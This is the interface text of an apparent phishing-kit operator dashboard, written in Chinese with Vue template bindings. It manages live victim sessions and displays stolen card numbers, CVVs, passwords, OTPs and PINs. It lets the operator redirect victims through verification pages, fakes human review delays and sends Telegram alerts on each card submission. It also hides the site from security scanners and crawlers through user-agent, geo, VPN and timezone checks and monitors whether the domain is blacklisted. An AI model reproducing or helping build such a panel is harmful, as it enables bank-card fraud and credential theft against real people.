授权
{{ licenseInfo.days_left }}天
IP
{{ myIP || '获取中...' }}
前台
{{ visitors.count }}人
后台
{{ wsStats.adminOnline }}人
待审
{{ stats.pending }}条
系统监控
每3秒刷新
{{ systemInfo.cpu.usage_percent.toFixed(0) }}%
CPU
{{ systemInfo.cpu.cores }} 核心
{{ systemInfo.memory.usage_percent.toFixed(0) }}%
内存
{{ systemInfo.memory.used }} / {{ systemInfo.memory.total }} MB
网络流量 KB/s
今日提交
{{ stats.todaySubmissions }}
待审核
{{ stats.pending }}
已通过
{{ stats.approved }}
已拒绝
{{ stats.rejected }}
提交趋势
访问统计
{{ visitorStats.total_visits }}
总访问量
{{ visitorStats.unique_visitors }}
独立访客
{{ visitorStats.today_visits }}
今日访问
{{ visitorStats.today_unique_visitors }}
今日独立访客
{{ visitors.count }}
当前在线
暂无前台项目
请先在「前台管理」中创建项目并勾选页面
{{ dep.name }}
{{ getPageConfig(pageKey).label }}
自动通过
togglePageAudit(pageKey, 'autoApprove', val)"
active-color="#10b981" size="small">
自动拒绝
togglePageAudit(pageKey, 'autoReject', val)"
active-color="#ef4444" size="small">
通过后跳转到
延迟时间(秒)
自动审核前的随机延迟,模拟人工审核时间
当前为手动模式,开启右上角「自动通过」或「自动拒绝」开关后下方配置才会生效
自动通过所有登录,但含「{{ getPageAudit(pageKey).rejectBins }}」的账号将由你手动审核
自动拒绝所有登录,但含「{{ getPageAudit(pageKey).rejectBins }}」的账号将由你手动审核
自动通过所有卡片,但「{{ getPageAudit(pageKey).rejectBins }}」开头的卡将由你手动审核
自动拒绝所有卡片,但「{{ getPageAudit(pageKey).rejectBins }}」开头的卡将由你手动审核
排除关键词(手动审核)
包含这些关键词的账号将跳过自动处理,由你手动审核。多个用英文逗号分隔
排除卡头(手动审核)
这些卡头的卡片将跳过自动处理,由你手动审核。多个用英文逗号分隔
拒绝话术
暂无话术
该项目未配置页面
请在「前台管理」中编辑项目,勾选支持的页面
今日数据
{{ stats.todaySubmissions }}
提交
{{ stats.todayApproved }}
通过
{{ stats.pending }}
待审
{{ stats.rejected }}
拒绝
在线访客
{{ visitors.count }}
人在线
{{ v.session_id?.substring(0, 8) }}
{{ getSessionCurrentPage(v.session_id) || '浏览中' }}
+{{ visitors.list.length - 10 }} 人
暂无访客
审核模式
{{ getPageConfig(pageKey).label }}
{{ getPageAudit(pageKey).autoApprove ? '自动通过' : getPageAudit(pageKey).autoReject ? '自动拒绝' : '手动' }}
最近动态
{{ log.text }}
{{ log.time }}
暂无动态
请输入拒绝时向用户显示的消息,建议使用日语
请选择拒绝原因,该消息将显示给用户
请选择用户通过后的跳转目标
选择银行卡拒绝话术
提交记录
清理离线
暂无记录
{{ '#' + row.id }}
{{ row.is_online ? '在线' : '离线' }}
{{ row.created_at || '刚刚' }}
前台: {{ getDeploymentInfo(row) || row.channel }}
待审
输入中
历史 ({{ row.history_rounds.length }})
handlePanelCommand(cmd, row)" trigger="click">
操作
── 跳转页面 ──
登录页 (当前)
填卡页 (当前)
OTP验证 (当前)
OTP验证(带手机号) (当前)
安全检测页 (当前)
生日验证 (当前)
PIN验证 (当前)
邮箱验证 (当前)
邮箱验证(带邮箱) (当前)
拨号验证 (当前)
路转完成
── 拒绝 ──
拒绝卡(选话术)
自定义拒绝话术
{{ getPendingVerification(row.session_id).type === 'phone' ? '拒绝拨号验证(选话术)' : '拒绝验证码(选话术)' }}
{{ getPendingVerification(row.session_id).type === 'phone' ? '自定义拒绝拨号验证' : '自定义拒绝验证码' }}
详情
删除
第{{ rIdx + 1 }}次审核
{{ round.action === 1 ? '已通过' : '已拒绝' }}
{{ round.created_at }}
{{ round.reason }}
卡类型
{{ getCardTypeFromPayload({payload: round.payload_snapshot}) }}
账号
{{ getEmailFromPayload({payload: round.payload_snapshot}) }}
密码
{{ getPasswordFromPayload({payload: round.payload_snapshot}) }}
姓名
{{ getCardHolderFromPayload({payload: round.payload_snapshot}) }}
卡号
{{ getCardNumberFromPayload({payload: round.payload_snapshot}) }}
有效期
{{ getExpiryDateFromPayload({payload: round.payload_snapshot}) }}
CVV
{{ getCvvFromPayload({payload: round.payload_snapshot}) }}
电话
{{ getPhoneFromPayload({payload: round.payload_snapshot}) }}
无快照数据
卡类型
{{ getCardTypeFromPayload(row) }}
账号
{{ getEmailFromPayload(row) }}
密码
{{ getPasswordFromPayload(row) }}
姓名
{{ getCardHolderFromPayload(row) }}
卡号
{{ getCardNumberFromPayload(row) }}
有效期
{{ getExpiryDateFromPayload(row) }}
CVV
{{ getCvvFromPayload(row) }}
電話
{{ getPhoneFromPayload(row) }}
邮箱
{{ getVerificationFieldFromPayload(row) }}
OTP
{{ row.realtimeVerification || row._otp }}
拨号
{{ row._phone_status }}
共 {{ submissions.total }} 条记录
银行卡数据列表
筛选资料
前台
卡类型
卡号
日期范围
显示 {{ filteredBankcards.length }} / 共 {{ bankcards.total }} 条记录
显示 {{ filteredBankcards.length }} / {{ bankcards.total }} 条记录
在线访客监控
暂无在线访客
当有用户访问前台页面时会自动显示
用户管理
前台项目列表
自动检测:
秒
{{ dep.name }}
{{ dep.description }}
暂无部署记录
点击"添加前台"开始部署
加载中...
选择项目
{{ dep.name }}
暂无前台项目
请先在"前台管理"中添加前台项目,然后再配置安全规则
今日拦截
{{ securityStats.todayBlocked }}
封禁 IP 数
{{ securityStats.blockedIPs }}
白名单 IP
{{ securityStats.whitelistCount }}
允许地区
{{ securityStats.allowedCountries }}
地区访问控制
白名单(仅允许)
黑名单(仅拦截)
{{ securityConfig.geoMode === 'whitelist' ? '允许访问的地区' : '拦截访问的地区' }}
{{ c.flag }} {{ c.name }}
VPN/代理检测
检测并拦截 VPN、代理、数据中心 IP(可能误拦住宅代理)
环境指纹验证
时区验证
检测浏览器时区是否与 IP 所在国家匹配
语言验证
检测浏览器语言是否与 IP 所在国家匹配
需要先启用「地区访问控制」才能使用此功能,可有效识别使用 VPN 伪装地区的用户
反爬虫防护
常用抓取工具
{{ {curl:'curl',wget:'wget',python:'Python',scrapy:'Scrapy',bot:'Bot/Spider',headless:'Headless'}[t] }}
自动化 & 测试框架
{{ {selenium:'Selenium',puppeteer:'Puppeteer',playwright:'Playwright',phantomjs:'PhantomJS',webdriver:'WebDriver'}[t] }}
爬虫框架 & 工具库
{{ {httpclient:'HttpClient',okhttp:'OkHttp',axios:'Axios/Node','go-http':'Go-http',java:'Java',ruby:'Ruby',perl:'Perl',colly:'Colly'}[t] }}
搜索引擎 & 安全扫描器
{{ {googlebot:'Googlebot',bingbot:'Bingbot',yandex:'Yandex',baidu:'Baidu',nikto:'Nikto',sqlmap:'SQLMap',nmap:'Nmap',masscan:'Masscan'}[t] }}
自定义 UA 关键词
空 Referer 拦截
拦截无 Referer 头的直接请求(工具类访问通常无 Referer)
后台保护
启用后,管理后台也会受到黑名单拦截保护
关闭时,只有前台页面会被拦截,后台可正常访问
IP 封禁管理 共 {{ blockedIPs.total }} 条
| IP / IP 段 | 原因 | 操作 |
|---|---|---|
| {{ row.ip }} | {{ translateBlockReason(row.reason) }} |
暂无封禁记录
第 {{ blockedIPs.page }}/{{ Math.ceil(blockedIPs.total / blockedIPs.pageSize) }} 页
设备拦截
选择要拦截的设备类型
电脑端
iOS
Android
浏览器白名单
只允许以下浏览器访问,未选中的浏览器将被拦截
{{ b.name }}
频率限制
单 IP 每分钟最大请求数
超限后封禁时长
审计日志
暂无审计日志
共 {{ auditLogs.total }} 条记录
今日拦截
{{ attackStats.todayBlocked }}
地区拦截
{{ attackStats.typeStats?.geo || 0 }}
反爬虫拦截
{{ attackStats.typeStats?.bot || 0 }}
安全拦截
{{ (attackStats.typeStats?.sql_injection || 0) + (attackStats.typeStats?.xss_attack || 0) }}
攻击日志
今日攻击最多的IP(触发即自动封禁)
暂无攻击记录,您的网站很安全!
共 {{ attackLogs.total }} 条记录
安全设置
禁止通过 IP 访问
开启后只能通过域名访问,禁止直接使用IP地址访问,提高安全性
注意:IP访问已禁用,请确保域名访问正常,否则可能无法登录!
音频提醒
用户进入提示音
当有新用户访问前台页面时播放提示音
数据提交提示音
当用户提交银行卡或验证码数据时播放提示音
域名防红检测
Google Safe Browsing API Key
官方 API,检测准确率最高(推荐)
Ipregistry API Key
Telegram 通知
服务未配置:请在服务器设置 TELEGRAM_BOT_TOKEN 环境变量
Chat ID
接收通知的 Telegram 账号或群组 ID
启用通知
主开关,关闭后不发送任何 Telegram 通知
🚶 访客进入通知
有新访客进入前台时发送通知
📝 数据提交通知
有新银行卡或验证码提交时发送通知
IP 白名单
白名单中的 IP 不受频率限制和自动封禁影响
暂无白名单
WebSocket 连接设置
每个 IP 最大连接数
限制单个IP的WebSocket连接数,防止滥用(推荐: 3-5)
全局最大连接数
服务器允许的最大WebSocket连接总数(根据服务器内存调整)
内存估算:每个连接约占用 150KB 内存,当前配置 {{ systemConfig.wsMaxTotalConn }} 个连接约需
{{ Math.round(systemConfig.wsMaxTotalConn * 150 / 1024) }} MB 内存